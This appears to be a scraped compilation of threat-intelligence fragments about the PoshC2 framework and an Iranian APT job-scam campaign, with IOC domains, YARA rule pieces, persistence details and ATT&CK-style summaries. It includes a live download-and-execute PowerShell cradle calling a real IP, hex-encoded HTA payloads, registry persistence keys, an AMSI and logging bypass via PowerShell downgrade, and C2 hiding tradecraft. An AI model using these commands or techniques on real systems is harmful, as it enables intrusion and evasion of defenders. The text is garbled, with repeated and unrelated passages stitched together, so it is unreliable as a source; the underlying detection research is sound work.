PoshC2

ref = " http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets " ... world-jobs[.]org global-careers[.]org dyn-intl[.]world-careers[.]org raytheonjobs[.]serveblog[.]net

Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10

This payload is then triggered by either: ... A Scheduled Task, also with the name IEUpdate

$ js_date = / \[ datetime \] ::ParseExact ... $ js_crypt = " System.Security.Cryptography " ... $ js_proxy = " $proxyurl = " ...

rule poshc2_apt_33_2019 ... $ hta_powershell = " 706f7765727368656c6c2e657865 " wide ascii

Execution matrix 1 Technique Count Frameworks Windows Command Shell 10/10

Now we have a primitive for obtaining write-access to a trusted process’s files. The next step is to weaponize it. This will involve backdooring the .pyc files themselves.

Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10

This payload is then triggered by either: ... A Scheduled Task, also with the name IEUpdate

Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666

Persistence matrix 2 Technique Count Framework Windows Service 4/10

Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10

This payload is then triggered by either: A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate ... A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk

Persistence matrix 1 Technique Count Frameworks Scheduled Task/Job 7/10

This payload is then triggered by either: ... A Scheduled Task, also with the name IEUpdate

if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.

Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload.

Persistence matrix 2 Technique Count Framework Windows Service 4/10

Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10

This payload is then triggered by either: A registry key at HKCU\Software\Microsoft\Windows\CurrentVersion\run with the name IEUpdate ... A shortcut file placed at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk

The content repeatedly describes malware and threat actors that 'bypass UAC,' 'perform UAC bypass,' or use specific Windows components such as fodhelper.exe, eventvwr.exe, sdclt.exe, CMSTPLUA COM interface, SilentCleanup, and registry hijacks to gain elevated privileges.

As part of the attacks, the threat actor packed the C# PoshC2 implants with a packer written in the Nim programming language.

if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.

Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

$ hta_unescape = " %64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65..." ... $ hta_hex = " 202f7720312049455820284e65772d4f626a656374204e65742e576562436c69656e74292e446f776e6c6f6164537472696e6728...

Some of the more common payloads that are dropped on targets are the PoshC2 executables and DLLs that can be run using rundll32.exe.

Now we have a primitive for obtaining write-access to a trusted process’s files. The next step is to weaponize it. This will involve backdooring the .pyc files themselves.

The C# implant has the ability to load compiled binaries into memory over C2 and run them, which is extremely powerful.

Each of these installs a PowerShell.exe one liner payload to the registry in the key at HKCU\Software\Microsoft\Windows\CurrentVersion\themes with a name Wallpaper777, Wallpaper555 or Wallpaper666

The threat actor copies signatures from legitimate applications to forge file signatures, to disguise their tool set and mask their malicious activities.

The content is a catalog of malware families and threat actors that 'can perform keylogging,' 'log keystrokes,' 'capture keystrokes,' or use 'keylogger' modules/tools.

AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine... Agent Tesla has the ability to extract credentials from configuration or support files... APT33 has used a variety of publicly available tools like LaZagne to gather credentials.

AdFind can extract subnet information from Active Directory; actors used ipconfig /all after exploiting a machine; numerous malware and groups used ipconfig, ifconfig, arp, route, netsh, nbtstat, NBTscan, and related APIs to gather IP, MAC, DNS, DHCP, gateway, proxy, domain, ARP cache, routing, and adapter details.

The content repeatedly describes malware and threat actors collecting host details such as hostname, OS version, architecture, CPU, memory, BIOS, language, and other machine characteristics; e.g., "Action RAT has the ability to collect the hostname, OS version, and OS architecture of an infected host."

The content is a long ATT&CK-style listing of groups and malware that can 'list files and directories,' 'search for files,' 'enumerate drives,' 'gather file metadata,' or 'browse file systems' on compromised hosts.

AdFind can enumerate domain users. APT41 used built-in net commands to enumerate domain administrator users. BloodHound can collect information about domain users, including identification of domain admin accounts.

To move laterally within the compromised environment and deploy these tools, attackers used multiple techniques, including: Executing through Distributed Component Object Model (DCOM)

The content is a catalog of malware families and threat actors that 'can perform keylogging,' 'log keystrokes,' 'capture keystrokes,' or use 'keylogger' modules/tools.

Agrius used a custom tool, sql.net4.exe, to query SQL databases and then identify and extract personally identifiable information... AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration... Ember Bear engages in mass collection from compromised systems during intrusions.

Hunting C2/Adversaries Infrastructure with Shodan and Censys ... My research Cobalt Strike C2 Metasploit/MSF Covenant C2 Deimos C2 Posh C2 Brute Ratel C4 Mythic C2 Sliver C2 ... Night Hawk C2 NimPlant C2 ShadowPad C2 Infrastructure Async Rat C2 Infrastructure Meterpreter C2 Infrastructure

The content is a long ATT&CK-style listing showing numerous malware families and threat groups that 'use HTTP,' 'use HTTPS,' 'HTTP POST requests,' 'HTTP GET requests,' or 'HTTP/S' for command and control communications.

An experienced operator will not expose their C2 server to the internet, but will instead use a proxy server with a valid certificate and filter firewall traffic to the C2 server that is not from that proxy

the flexibility of the protocol allows for traffic to be hidden and routed through legitimate websites using techniques such as Domain Fronting and reverse proxies.

... IEX (New-Object Net.WebClient).DownloadString('http://5.252.178.20/raytheon2-jobs.jpg') ...

SystemBC was used to push CobaltStrike and PoshC2.

if PowerShell v2.0 is available on the target then a downgrade attack can be performed and PowerShell 2.0 used, bypassing Constrained Language mode, ScriptBlock logging, AMSI and other controls added in v5.0.